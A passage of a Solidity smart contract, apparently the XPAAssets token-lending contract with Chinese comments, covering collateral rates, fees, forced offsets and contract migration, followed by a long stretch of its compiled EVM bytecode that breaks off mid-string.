fromXPAAsset = safeDiv(safeMul(xpaAmount_,getPrice(xpaAssetToken)),1 ether); uint256 userToAmount = toAmountBooks[user_][xpaAssetToken]; uint256 fee = safeDiv(safeMul(userToAmount, feeRate), 1 ether); uint256 burnXPA; uint256 burnXPAAsset; if(fromXPAAsset >= safeAdd(userToAmount, fee)){ burnXPA = safeDiv(safeMul(safeAdd(userToAmount, fee), 1 ether), getPrice(xpaAssetToken)); emit eExecuteOffset(burnXPA, xpaAssetToken, safeAdd(userToAmount, fee)); xpaAmount_ = safeSub(xpaAmount_, burnXPA); toAmountBooks[user_][xpaAssetToken] = 0; profit = safeAdd(profit, safeDiv(safeMul(fee,1 ether), getPrice(xpaAssetToken))); if( !FundAccount(fundAccount).burn(xpaAssetToken, userToAmount) ){ unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken],userToAmount); } }else{ fee = safeDiv(safeMul(xpaAmount_, feeRate), 1 ether); profit = safeAdd(profit, fee); burnXPAAsset = safeDiv(safeMul(safeSub(xpaAmount_, fee),getPrice(xpaAssetToken)),1 ether); toAmountBooks[user_][xpaAssetToken] = safeSub(userToAmount, burnXPAAsset); emit eExecuteOffset(xpaAmount_, xpaAssetToken, burnXPAAsset); xpaAmount_ = 0; if( !FundAccount(fundAccount).burn(xpaAssetToken, burnXPAAsset) ){ unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken], burnXPAAsset); } } return xpaAmount_; } function getPunishXPA( address user_ ) internal view returns(uint256){ uint256 userFromAmount = fromAmountBooks[user_]; uint256 punishXPA = safeDiv(safeMul(userFromAmount, 0.1 ether),1 ether); if(userFromAmount <= safeAdd(minForceOffsetAmount, 100 ether)){ return userFromAmount; }else if(punishXPA < minForceOffsetAmount){ return minForceOffsetAmount; }else if(punishXPA > maxForceOffsetAmount){ return maxForceOffsetAmount; }else{ return punishXPA; } } // 取得用戶抵押率, user: 指定用戶 function getMortgageRate( address user_ ) public view returns(uint256){ if(fromAmountBooks[user_] != 0){ uint256 totalLoanXPA = 0; for(uint256 i = 0; i < xpaAsset.length; i++) { totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i]))); } return safeDiv(safeMul(totalLoanXPA,1 ether),fromAmountBooks[user_]); }else{ return 0; } } // 取得最高抵押率 function getHighestMortgageRate() public view returns(uint256){ uint256 totalXPA = Token(XPA).totalSupply(); uint256 issueRate = safeDiv(safeMul(Token(XPA).balanceOf(this), 1 ether), totalXPA); if(issueRate >= 0.7 ether){ return 0.7 ether; }else if(issueRate >= 0.6 ether){ return 0.6 ether; }else if(issueRate >= 0.5 ether){ return 0.5 ether; }else if(issueRate >= 0.3 ether){ return 0.3 ether; }else{ return 0.1 ether; } } // 取得平倉線 function getClosingLine() public view returns(uint256){ uint256 highestMortgageRate = getHighestMortgageRate(); if(highestMortgageRate >= 0.6 ether){ return safeAdd(highestMortgageRate, 0.1 ether); }else{ return 0.6 ether; } } // 取得 XPA Assets 匯率 function getPrice( address token_ ) public view returns(uint256){ return TokenFactory(tokenFactory).getPrice(token_); } // 取得用戶可提領的XPA(扣掉最高抵押率後的XPA) function getUsableXPA( address user_ ) public view returns(uint256) { uint256 totalLoanXPA = 0; for(uint256 i = 0; i < xpaAsset.length; i++) { totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i]))); } if(fromAmountBooks[user_] > safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate())){ return safeSub(fromAmountBooks[user_], safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate())); }else{ return 0; } } // 取得用戶可借貸 XPA Assets 最大額度, user: 指定用戶 /*function getUsableAmount( address user_, address token_ ) public view returns(uint256) { uint256 amount = safeDiv(safeMul(fromAmountBooks[user_], getPrice(token_)), 1 ether); return safeDiv(safeMul(amount, getHighestMortgageRate()), 1 ether); }*/ // 取得用戶已借貸 XPA Assets 數量, user: 指定用戶 function getLoanAmount( address user_, address token_ ) public view returns(uint256) { return toAmountBooks[user_][token_]; } // 取得用戶剩餘可借貸 XPA Assets 額度, user: 指定用戶 function getRemainingAmount( address user_, address token_ ) public view returns(uint256) { uint256 amount = safeDiv(safeMul(getUsableXPA(user_), getPrice(token_)), 1 ether); return safeDiv(safeMul(amount, getHighestMortgageRate()), 1 ether); } function burnFundAccount( address token_, uint256 amount_ ) onlyOperator public { if( FundAccount(fundAccount).burn(token_, amount_) ){ unPaidFundAccount[token_] = safeSub(unPaidFundAccount[token_], amount_); } } function transferProfit( address token_, uint256 amount_ ) onlyOperator public { require(amount_ > 0); if( XPA != token_ && Token(token_).balanceOf(this) >= amount_ ) { require(Token(token_).transfer(bank, amount_)); } if( XPA == token_ && Token(XPA).balanceOf(this) >= amount_ ) { profit = safeSub(profit,amount_); require(Token(token_).transfer(bank, amount_)); } } function setFeeRate( uint256 withDrawFeerate_, uint256 offsetFeerate_, uint256 forceOffsetBasicFeerate_, uint256 forceOffsetExecuteFeerate_, uint256 forceOffsetExtraFeerate_, uint256 forceOffsetExecuteMaxFee_ ) onlyOperator public { require(withDrawFeerate_ < 0.05 ether); require(offsetFeerate_ < 0.05 ether); require(forceOffsetBasicFeerate_ < 0.05 ether); require(forceOffsetExecuteFeerate_ < 0.05 ether); require(forceOffsetExtraFeerate_ < 0.05 ether); withdrawFeeRate = withDrawFeerate_; offsetFeeRate = offsetFeerate_; forceOffsetBasicFeeRate = forceOffsetBasicFeerate_; forceOffsetExecuteFeeRate = forceOffsetExecuteFeerate_; forceOffsetExtraFeeRate = forceOffsetExtraFeerate_; forceOffsetExecuteMaxFee = forceOffsetExecuteMaxFee_; } function migrate( address newContract_ ) public onlyOwner { require(newContract_ != address(0)); if( newXPAAssets == address(0) && XPAAssets(newContract_).transferXPAAssetAndProfit(xpaAsset, profit) && Token(XPA).transfer(newContract_, Token(XPA).balanceOf(this)) ) { forceOff = true; powerStatus = false; newXPAAssets = newContract_; for(uint256 i = 0; i < xpaAsset.length; i++) { XPAAssets(newContract_).transferUnPaidFundAccount(xpaAsset[i], unPaidFundAccount[xpaAsset[i]]); } emit eMigrate(newContract_); } } function transferXPAAssetAndProfit( address[] xpaAsset_, uint256 profit_ ) public onlyOperator returns(bool) { require(msg.sender == oldXPAAssets); xpaAsset = xpaAsset_; profit = profit_; return true; } function transferUnPaidFundAccount( address xpaAsset_, uint256 unPaidAmount_ ) public onlyOperator returns(bool) { require(msg.sender == oldXPAAssets); unPaidFundAccount[xpaAsset_] = unPaidAmount_; return true; } function migratingAmountBooks( address user_, address newContract_ ) public onlyOperator { XPAAssets(newContract_).migrateAmountBooks(user_); } function migrateAmountBooks( address user_ ) public onlyOperator { require(msg.sender == oldXPAAssets); require(!migrateBooks[user_]); migrateBooks[user_] = true; fromAmountBooks[user_] = safeAdd(fromAmountBooks[user_],XPAAssets(oldXPAAssets).getFromAmountBooks(user_)); forceOffsetBooks[user_] = XPAAssets(oldXPAAssets).getForceOffsetBooks(user_); for(uint256 i = 0; i < xpaAsset.length; i++) { toAmountBooks[user_][xpaAsset[i]] = safeAdd(toAmountBooks[user_][xpaAsset[i]], XPAAssets(oldXPAAssets).getLoanAmount(user_,xpaAsset[i])); } emit eMigrateAmount(user_); } function getFromAmountBooks( address user_ ) public view returns(uint256) { return fromAmountBooks[user_]; } function getForceOffsetBooks( address user_ ) public view returns(uint256) { return forceOffsetBooks[user_]; } }
0x60606040526004361061029a5763ffffffff60e060020a600035041663126f992c811461029f5780631390df6c146102c657806320e979b1146102f55780632539c8641461031657806328a20a2f146103475780632f8061d41461039857806332d05c6d146103c157806335ee2f8a146103e357806341976e09146103f6578063419a88b61461041557806354fd4d5014610428578063570ca735146104b2578063590e2d3e146104c55780635b060530146104ea5780635fc6518f1461057f57806366acdd341461059e57806366d16cc3146105b45780636790aee8146105c757806369328dec146105e65780636b1bfd331461060f5780636bee9cfa1461062e57806375ae51ce1461064157806375e88e3a14610654578063767eb6511461067357806376cdb03b1461069857806379d007f7146106ab5780637ec4edbe146106be57806384385c6f146106e35780638a8f5b79146107025780638da5cb5b146107155780638e543a12146107285780639773489a1461074d5780639dbda90214610760578063a036f0f814610773578063a3e20d7114610792578063a46c792c146107b4578063a4e02fcc146107d3578063b15fbfe6146107f5578063b37f17ee14610814578063b5afd61b14610839578063b791f3bc1461084c578063c40fec3a1461086b578063cc9a31a71461087e578063ce5494bb1461089d578063ce9e673b146108bc578063ced0d31d146108cf578063d09119b4146108f4578063d0c2918e14610913578063d1376daa14610932578063d43a186714610945578063d7cd6c1314610964578063d9a8748c14610986578063dd1219fd14610999578063df9204b6146109b1578063e77772fe146109c4578063ea99e689146109d7578063f1da7e63146109ea578063f2fde38b14610a09575b600080fd5b34156102aa57600080fd5b6102b2610a28565b604051901515815260200160405180910390f35b34156102d157600080fd5b6102d9610a4a565b604051600160a060020a03909116815260200160405180910390f35b341561030057600080fd5b610314600160a060020a0360043516610a59565b005b341561032157600080fd5b610335600160a060020a0360043516610a93565b60405190815260200160405180910390f35b341561035257600080fd5b6102b260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610aa592505050565b34156103a357600080fd5b610314600160a060020a036004358116906024359060443516610b14565b34156103cc57600080fd5b610314600435600160a060020a0360243516610c5b565b34156103ee57600080fd5b610335610dbb565b341561040157600080fd5b610335600160a060020a0360043516610dc1565b341561042057600080fd5b6102d9610e30565b341561043357600080fd5b61043b610e3f565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561047757808201518382015260200161045f565b50505050905090810190601f1680156104a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104bd57600080fd5b6102d9610edd565b34156104d057600080fd5b610335600160a060020a0360043581169060243516610eec565b34156104f557600080fd5b61031460046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496505093359350610f0992505050565b341561058a57600080fd5b6102d9600160a060020a0360043516611106565b34156105a957600080fd5b6102d9600435611121565b34156105bf57600080fd5b610335611149565b34156105d257600080fd5b610335600160a060020a036004351661114f565b34156105f157600080fd5b610314600160a060020a036004358116906024359060443516611161565b341561061a57600080fd5b610314600160a060020a036004351661138f565b341561063957600080fd5b6103356113f0565b341561064c57600080fd5b6103356113f6565b341561065f57600080fd5b610335600160a060020a03600435166113fc565b341561067e57600080fd5b610335600160a060020a0360043581169060243516611417565b34156106a357600080fd5b6102d961144b565b34156106b657600080fd5b61033561145a565b34156106c957600080fd5b610314600160a060020a0360043581169060243516611460565b34156106ee57600080fd5b610314600160a060020a03600435166119b7565b341561070d57600080fd5b6102d9611a0d565b341561072057600080fd5b6102d9611a1c565b341561073357600080fd5b610335600160a060020a0360043581169060243516611a2b565b341561075857600080fd5b610335611a56565b341561076b57600080fd5b610335611a5c565b341561077e57600080fd5b610335600160a060020a0360043516611bcd565b341561079d57600080fd5b6102b2600160a060020a0360043516602435611cb0565b34156107bf57600080fd5b610314600160a060020a0360043516611d22565b34156107de57600080fd5b610314600160a060020a0360043516602435611d52565b341561080057600080fd5b610335600160a060020a0360043516611fad565b341561081f57600080fd5b610314600160a060020a0360043581169060243516611fc8565b341561084457600080fd5b610335612056565b341561085757600080fd5b610314600160a060020a036004351661205c565b341561087657600080fd5b61033561237e565b341561088957600080fd5b6102b2600160a060020a0360043516612384565b34156108a857600080fd5b610314600160a060020a03600435166123a7565b34156108c757600080fd5b610335612700565b34156108da57600080fd5b61031460043560243560443560643560843560a435612706565b34156108ff57600080fd5b610314600160a060020a03600435166127b5565b341561091e57600080fd5b6102b2600160a060020a036004351661296a565b341561093d57600080fd5b61033561297f565b341561095057600080fd5b610335600160a060020a03600435166129c4565b341561096f57600080fd5b610314600160a060020a03600435166024356129d6565b341561099157600080fd5b6102d9612abb565b34156109a457600080fd5b6103146004351515612aca565b34156109bc57600080fd5b6102b2612b71565b34156109cf57600080fd5b6102d9612b81565b34156109e257600080fd5b610335612b90565b34156109f557600080fd5b610335600160a060020a0360043516612b96565b3415610a1457600080fd5b610314600160a060020a0360043516612c23565b6003547501000000000000000000000000000000000000000000900460ff1681565b600654600160a060020a031681565b60015433600160a060020a03908116911614610a7157fe5b60038054600160a060020a031916600160a060020a0392909216919091179055565b60126020526000908152604090205481565b60025460009033600160a060020a0390811691161480610ad3575060015433600160a060020a039081169116145b1515610adb57fe5b60065433600160a060020a03908116911614610af657600080fd5b600f838051610b099291602001906130ea565b505060115550600190565b60035460009060a060020a900460ff161515610b2c57fe5b610b3582612c5d565b905083600160a060020a03166379cc6790828560405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b8b57600080fd5b5af11515610b9857600080fd5b5050506040518051905015610c5557600160a060020a038082166000908152600c6020908152604080832093881683529290522054610bd79084612c7a565b600160a060020a038083166000908152600c602090815260408083209389168352929052819020919091557ffa6a16645a395100c51e6445cb350ca9711662c961c9e4dbb6d41c45ab8691cd9082908690869051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b50505050565b60035460009060a060020a900460ff161515610c7357fe5b610c7c82612c5d565b905068056bc75e2d631000008310158015610c9f5750610c9b81611bcd565b8311155b15610db657600160a060020a0381166000908152600b6020526040902054610cc79084612c7a565b600160a060020a038083166000908152600b60205260409081902092909255600554169063a9059cbb90839086905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d3657600080fd5b5af11515610d4357600080fd5b505050604051805190501515610d5857600080fd5b6005547fc4e9fd0b0814b142a8dce2da2fb5bbbc63e23ecc9dc77fbdf7e6785b65821073908290600160a060020a031685604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b505050565b60135481565b600854600090600160a060020a03166341976e098360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610e1457600080fd5b5af11515610e2157600080fd5b50505060405180519392505050565b600554600160a060020a031681565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ed55780601f10610eaa57610100808354040283529160200191610ed5565b820191906000526020600020905b815481529060010190602001808311610eb857829003601f168201915b505050505081565b600254600160a060020a031681565b600c60209081526000928352604080842090915290825290205481565b600254600090819033600160a060020a0390811691161480610f39575060015433600160a060020a039081169116145b1515610f4157fe5b600854600160a060020a0316635b0605308686866040518463ffffffff1660e060020a028152600401808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610fae578082015183820152602001610f96565b50505050905090810190601f168015610fdb5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015611011578082015183820152602001610ff9565b50505050905090810190601f16801561103e5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b151561105f57600080fd5b5af1151561106c57600080fd5b5050506040518051925060009150505b600f548110156110c75781600160a060020a0316600f8281548110151561109f57fe5b600091825260209091200154600160a060020a031614156110bf576110ff565b60010161107c565b600f8054600181016110d9838261314d565b5060009182526020909120018054600160a060020a031916600160a060020a0384161790555b5050505050565b600060208190529081526040902054600160a060020a031681565b600f80548290811061112f57fe5b600091825260209091200154600160a060020a0316905081565b60115481565b600b6020526000908152604090205481565b600354600090819060a060020a900460ff16151561117b57fe5b61118483612c5d565b600554909250600160a060020a038681169116148015906111a55750600084115b80156111e957506111e56111cf6111dd6111cf6111c186611bcd565b6111ca8a610dc1565b612c91565b670de0b6b3a7640000612cbf565b6111ca611a5c565b8411155b156110ff57600160a060020a038083166000908152600c602090815260408083209389168352929052205461121e9085612ce0565b600160a060020a038084166000908152600c60209081526040808320938a1683529290522055601454611256906111cf908690612c91565b905084600160a060020a0316630ecaea73836112728785612c7a565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156112b557600080fd5b5af115156112c257600080fd5b50505060405180515050600160a060020a038516630ecaea73308360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561132057600080fd5b5af1151561132d57600080fd5b50505060405180519050507fc4e9fd0b0814b142a8dce2da2fb5bbbc63e23ecc9dc77fbdf7e6785b65821073828686604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050505050565b60025433600160a060020a03908116911614806113ba575060015433600160a060020a039081169116145b15156113c257fe5b600160a060020a038116156113ed5760108054600160a060020a031916600160a060020a0383161790555b50565b60155481565b600a5481565b600160a060020a03166000908152600d602052604090205490565b6000806114326111cf61142986611bcd565b6111ca86610dc1565b90506114436111cf826111ca611a5c565b949350505050565b600354600160a060020a031681565b60185481565b60008060008061146e613171565b600354600090819060a060020a900460ff16151561148857fe5b600954600160a060020a038a166000908152600b602052604090205410156114c857600160a060020a0389166000908152600b60205260409020546114cc565b6009545b60135490975042116114dd57600080fd5b600087116114ea57600080fd5b6114f389612c5d565b955085600160a060020a031689600160a060020a031614801561151f5750600061151d878a611a2b565b115b1561165a577fbf9f44ee4acb3e5987bb0eded9a112002728be975cd2547168a694a0cee856c0868a89604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a161158289888a601554612cfd565b600554601054919650600160a060020a039081169163a9059cbb91166115d56115bc6115ae8c8b612c7a565b670de0b6b3a7640000612c91565b6115d0670de0b6b3a7640000601554612ce0565b612cbf565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561161857600080fd5b5af1151561162557600080fd5b50505060405180519050151561163a57600080fd5b600160a060020a0389166000908152600b602052604090208590556119ac565b85600160a060020a031689600160a060020a0316141580156116975750600160a060020a0389166000908152600d60205260409020546170800142115b80156116b257506116a661297f565b6116af8a612b96565b10155b156119ac57600160a060020a0389166000908152600d602052604090204290556116db89613066565b93507fbf9f44ee4acb3e5987bb0eded9a112002728be975cd2547168a694a0cee856c0868a86604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a161173c6111cf85601654612c91565b8352601854611750906111cf908690612c91565b6020840152601754611767906111cf908690612c91565b60408401908152601954905111611782576040830151611786565b6019545b60408401526011546117a0908460005b6020020151612ce0565b6011556117bd60408401516117b88551866001611796565b612ce0565b91506117c98483612c7a565b9450600090505b600f548110156118535760006118098a600f848154811015156117ef57fe5b600091825260209091200154600160a060020a0316611a2b565b111561184b5761183d8986600f8481548110151561182357fe5b6000918252602082200154600160a060020a031690612cfd565b945084151561184b57611853565b6001016117d0565b600160a060020a0389166000908152600b602052604090205461187f9061187a8688612c7a565b612c7a565b600160a060020a03808b166000908152600b60205260409020919091556005546010549082169163a9059cbb91166118cb86600160200201516117b86118c58a89612c7a565b8b612c7a565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561190e57600080fd5b5af1151561191b57600080fd5b50505060405180519050151561193057600080fd5b600554600160a060020a031663a9059cbb33604086015160405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561198a57600080fd5b5af1151561199757600080fd5b5050506040518051905015156119ac57600080fd5b505050505050505050565b60015433600160a060020a039081169116146119cf57fe5b60028054600160a060020a03928316600160a060020a0319918216811790925560035490921660009081526020819052604090208054909216179055565b600754600160a060020a031681565b600154600160a060020a031681565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b60195481565b60055460009081908190600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611aa257600080fd5b5af11515611aaf57600080fd5b5050506040518051600554909350611b3e9150611b3890600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611b1357600080fd5b5af11515611b2057600080fd5b50505060405180519050670de0b6b3a7640000612c91565b83612cbf565b90506709b6e64a8ec600008110611b5f576709b6e64a8ec600009250611bc8565b670853a0d2313c00008110611b7e57670853a0d2313c00009250611bc8565b6706f05b59d3b200008110611b9d576706f05b59d3b200009250611bc8565b670429d069189e00008110611bbc57670429d069189e00009250611bc8565b67016345785d8a000092505b505090565b600080805b600f54811015611c2f57611c25826117b8611bf96115ae88600f878154811015156117ef57fe5b6115d0600f86815481101515611c0b57fe5b600091825260209091200154600160a060020a0316610dc1565b9150600101611bd2565b611c4c611c4483670de0b6b3a7640000612c91565b6115d0611a5c565b600160a060020a0385166000908152600b60205260409020541115611ca457600160a060020a0384166000908152600b6020526040902054611c9d9061187a611c4485670de0b6b3a7640000612c91565b9250611ca9565b600092505b5050919050565b60025460009033600160a060020a0390811691161480611cde575060015433600160a060020a039081169116145b1515611ce657fe5b60065433600160a060020a03908116911614611d0157600080fd5b50600160a060020a0391909116600090815260126020526040902055600190565b600160a060020a033381166000908152602081905260409020805491909216600160a060020a0319909116179055565b60025433600160a060020a0390811691161480611d7d575060015433600160a060020a039081169116145b1515611d8557fe5b60008111611d9257600080fd5b600554600160a060020a03838116911614801590611e1457508082600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611dfa57600080fd5b5af11515611e0757600080fd5b5050506040518051905010155b15611e9557600354600160a060020a038084169163a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611e7357600080fd5b5af11515611e8057600080fd5b505050604051805190501515611e9557600080fd5b600554600160a060020a038381169116148015611f1957506005548190600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611eff57600080fd5b5af11515611f0c57600080fd5b5050506040518051905010155b15611fa957611f2a60115482612c7a565b601155600354600160a060020a038084169163a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611f8757600080fd5b5af11515611f9457600080fd5b505050604051805190501515611fa957600080fd5b5050565b600160a060020a03166000908152600b602052604090205490565b60025433600160a060020a0390811691161480611ff3575060015433600160a060020a039081169116145b1515611ffb57fe5b80600160a060020a031663b791f3bc8360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561204957600080fd5b5af115156110ff57600080fd5b60095481565b60025460009033600160a060020a039081169116148061208a575060015433600160a060020a039081169116145b151561209257fe5b60065433600160a060020a039081169116146120ad57600080fd5b600160a060020a0382166000908152600e602052604090205460ff16156120d357600080fd5b600160a060020a038083166000908152600e60209081526040808320805460ff19166001179055600b909152908190205460065461217093919291169063b15fbfe69086905160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561215457600080fd5b5af1151561216157600080fd5b50505060405180519050612ce0565b600160a060020a038084166000908152600b6020526040908190209290925560065416906375e88e3a9084905160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156121d857600080fd5b5af115156121e557600080fd5b5050506040518051600160a060020a0384166000908152600d60205260408120919091559150505b600f5481101561233d57600160a060020a0382166000908152600c60205260408120600f80546122e79391908590811061224357fe5b6000918252602080832090910154600160a060020a039081168452908301939093526040909101902054600654600f805492939190911691638e543a129187918790811061228d57fe5b600091825260209091200154600160a060020a031660405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561215457600080fd5b600160a060020a0383166000908152600c60205260408120600f80549192918590811061231057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205560010161220d565b7f901da904e758aa932aeb3ad6c6fec24fea73e68c638f5cf38a6f6e60677622ce82604051600160a060020a03909116815260200160405180910390a15050565b60175481565b600160a060020a0390811660009081526020819052604090205433821691161490565b60015460009033600160a060020a039081169116146123c257fe5b600160a060020a03821615156123d757600080fd5b600754600160a060020a031615801561249e575081600160a060020a03166328a20a2f600f6011546040518363ffffffff1660e060020a0281526004018080602001838152602001828103825284818154815260200191508054801561246657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311612448575b50509350505050602060405180830381600087803b151561248657600080fd5b5af1151561249357600080fd5b505050604051805190505b801561256e5750600554600160a060020a031663a9059cbb83826370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156124fc57600080fd5b5af1151561250957600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561255657600080fd5b5af1151561256357600080fd5b505050604051805190505b15611fa9575060038054750100000000000000000000000000000000000000000075ff000000000000000000000000000000000000000000199091161774ff00000000000000000000000000000000000000001916905560078054600160a060020a031916600160a060020a03831617905560005b600f548110156126bf5781600160a060020a031663a3e20d71600f8381548110151561260b57fe5b6000918252602082200154600f8054600160a060020a03909216926012929091908790811061263657fe5b6000918252602080832090910154600160a060020a03168352820192909252604090810190912054905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156126a057600080fd5b5af115156126ad57600080fd5b505050604051805150506001016125e3565b7f74c5cc2c641422a77f7ad46459e9490047d8cf74b928e77f6493d0ef90c772a482604051600160a060020a03909116815260200160405180910390a15050565b60165481565b60025433600160a060020a0390811691161480612731575060015433600160a060020a039081169116145b151561273957fe5b66b1a2bc2ec50000861061274c57600080fd5b66b1a2bc2ec50000851061275f57600080fd5b66b1a2bc2ec50000841061277257600080fd5b66b1a2bc2ec50000831061278557600080fd5b66b1a2bc2ec50000821061279857600080fd5b601495909555601593909355601691909155601755601855601955565b600354600090819060a060020a900460ff1615156127cf57fe5b6127d883612c5d565b600554909250600160a060020a031663dd62ed3e333060405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561283357600080fd5b5af1151561284057600080fd5b505050604051805191505068056bc75e2d6310000081108015906128da5750600554600160a060020a03166323b872dd33308460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156128c257600080fd5b5af115156128cf57600080fd5b505050604051805190505b15610db657600160a060020a0382166000908152600b60205260409020546129029082612ce0565b600160a060020a0383166000908152600b602052604090819020919091557f9bc0edc04558e16448c0601508fdc1d24850bfb6123399cd5b88777aea4b1d46908390839051600160a060020a03909216825260208201526040908101905180910390a1505050565b600e6020526000908152604090205460ff1681565b60008061298a611a5c565b9050670853a0d2313c000081106129b4576129ad8167016345785d8a0000612ce0565b91506129c0565b670853a0d2313c000091505b5090565b600d6020526000908152604090205481565b60025433600160a060020a0390811691161480612a01575060015433600160a060020a039081169116145b1515612a0957fe5b601054600160a060020a0316639dc29fac838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515612a5f57600080fd5b5af11515612a6c57600080fd5b5050506040518051905015611fa957600160a060020a038216600090815260126020526040902054612a9e9082612c7a565b600160a060020a0383166000908152601260205260409020555050565b601054600160a060020a031681565b60025433600160a060020a0390811691161480612af5575060015433600160a060020a039081169116145b1515612afd57fe5b6003547501000000000000000000000000000000000000000000900460ff1615612b44576003805474ff0000000000000000000000000000000000000000191690556113ed565b6003805482151560a060020a0274ff00000000000000000000000000000000000000001990911617905550565b60035460a060020a900460ff1681565b600854600160a060020a031681565b60145481565b600160a060020a0381166000908152600b60205260408120548190819015611ca4575060009050805b600f54811015612bf057612be6826117b8611bf96115ae88600f878154811015156117ef57fe5b9150600101612bbf565b611c9d612c0583670de0b6b3a7640000612c91565b600160a060020a0386166000908152600b6020526040902054612cbf565b60015433600160a060020a03908116911614612c3b57fe5b60018054600160a060020a031916600160a060020a0392909216919091179055565b6000612c6882612384565b612c725733612c74565b815b92915050565b60008082841015612c8a57600080fd5b5050900390565b6000828202831580612cad5750828482811515612caa57fe5b04145b1515612cb857600080fd5b9392505050565b6000808211612ccd57600080fd5b8183811515612cd857fe5b049392505050565b6000828201838110801590612cad575082811015612cb857600080fd5b600080600080600080612d166111cf8a6111ca8b610dc1565b600160a060020a03808c166000908152600c60209081526040808320938d16835292905220549095509350612d4e6111cf8589612c91565b9250612d5a8484612ce0565b8510612ee557612d79612d706115ae8686612ce0565b6115d08a610dc1565b91507f6845940b5d385ddd8dccd32f8ecfa579f74efa6c1ca32e81fe928485cfb92c018289612da88787612ce0565b604051928352600160a060020a0390911660208301526040808301919091526060909101905180910390a1612ddd8983612c7a565b600160a060020a03808c166000908152600c60209081526040808320938d16835292905290812055601154909950612e2d906117b8612e2486670de0b6b3a7640000612c91565b6115d08c610dc1565b601155601054600160a060020a0316639dc29fac898660405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515612e8657600080fd5b5af11515612e9357600080fd5b505050604051805190501515612ee057600160a060020a038816600090815260126020526040902054612ec69085612ce0565b600160a060020a0389166000908152601260205260409020555b613058565b612ef26111cf8a89612c91565b9250612f0060115484612ce0565b601155612f1c6111cf612f138b86612c7a565b6111ca8b610dc1565b9050612f288482612c7a565b600160a060020a03808c166000908152600c60209081526040808320938d168352929052819020919091557f6845940b5d385ddd8dccd32f8ecfa579f74efa6c1ca32e81fe928485cfb92c01908a908a90849051928352600160a060020a0390911660208301526040808301919091526060909101905180910390a160105460009950600160a060020a0316639dc29fac898360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515612ffe57600080fd5b5af1151561300b57600080fd5b50505060405180519050151561305857600160a060020a03881660009081526012602052604090205461303e9082612ce0565b600160a060020a0389166000908152601260205260409020555b509698975050505050505050565b600160a060020a0381166000908152600b6020526040812054816130956111cf8367016345785d8a0000612c91565b90506130ac600a5468056bc75e2d63100000612ce0565b82116130ba57819250611ca9565b600a548110156130ce57600a549250611ca9565b6009548111156130e2576009549250611ca9565b809250611ca9565b828054828255906000526020600020908101928215613141579160200282015b828111156131415782518254600160a060020a031916600160a060020a03919091161782556020929092019160019091019061310a565b506129c0929150613198565b815481835581811511610db657600083815260209020610db69181019083016131bf565b60606040519081016040526003815b6000815260200190600190039081613180579050509